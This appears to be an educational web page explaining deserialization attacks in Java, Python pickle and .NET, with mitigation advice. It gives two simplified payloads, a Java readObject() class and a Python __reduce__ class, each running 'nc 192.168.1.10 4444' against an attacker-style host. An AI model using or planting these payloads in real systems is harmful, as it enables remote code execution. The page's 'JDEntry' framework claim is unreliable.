Skip to content

Deserialization Attacks

Web applications often rely on serialization to persist or transmit complex data structures. When deserialization is performed on untrusted or unvalidated input, attackers can exploit this process to execute arbitrary code, bypass authentication, or manipulate application state. This section explains how deserialization vulnerabilities enable remote code execution (RCE) through carefully crafted malicious payloads.


Deserialization Process and Exploitation

Deserialization vulnerabilities occur when an application deserializes data (e.g., from a network request or stored file) without validating or sanitizing the input. Attackers exploit this by crafting malicious serialized objects that trigger unintended behavior during deserialization. For example, in Java, the ObjectInputStream class can execute arbitrary code if it processes a serialized object containing a malicious class with a readObject() method.

Example:
A web application receives a serialized Java object via a request and deserializes it using ObjectInputStream. If the object contains a class that overrides readObject() to invoke Runtime.exec(), the server executes arbitrary commands.

// Malicious Java class (simplified)
public class MaliciousPayload implements Serializable {
    private void readObject(ObjectInputStream ois) throws IOException {
        try {
            Runtime.getRuntime().exec("nc 192.168.1.10 4444");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Payload Crafting and Attack Vectors

Attackers typically use tools or frameworks to generate payloads that exploit specific deserialization weaknesses. For example:

  • Java: Tools like ysoserial generate payloads that exploit Java Deserialization Exploit Framework (JDEntry) vulnerabilities.
  • Python: The pickle module can be abused if an application deserializes untrusted data.
  • .NET: The BinaryFormatter class in .NET is a common target for deserialization attacks.

Example:
A Python-based web app deserializes user input using pickle. An attacker could send a malicious payload to execute a shell command:

import pickle
import os

# Malicious payload (simplified)
class RCEPayload:
    def __reduce__(self):
        return (os.system, ('nc 192.168.1.10 4444',))

# Serialize and send the payload
malicious_data = pickle.dumps(RCEPayload())

Mitigation and Defense Strategies

  1. Avoid unsafe deserialization: Refrain from deserializing untrusted data unless absolutely necessary. Use safer alternatives like JSON or XML with strict validation.
  2. Input validation: Sanitize and validate all serialized inputs to reject malformed or unexpected data.
  3. Use secure serialization formats: Prefer formats like JSON (with schema validation) over binary formats like Java's ObjectInputStream or .NET's BinaryFormatter.
  4. Run services in restricted environments: Isolate deserialization operations in sandboxes or containers to limit the impact of potential exploits.

Key takeaways

  • Deserialization vulnerabilities allow attackers to execute arbitrary code by exploiting untrusted serialized objects.
  • Payloads often leverage language-specific features (e.g., Java's readObject(), Python's __reduce__) to trigger malicious behavior.
  • Mitigation requires strict input validation, secure serialization practices, and isolation of critical operations.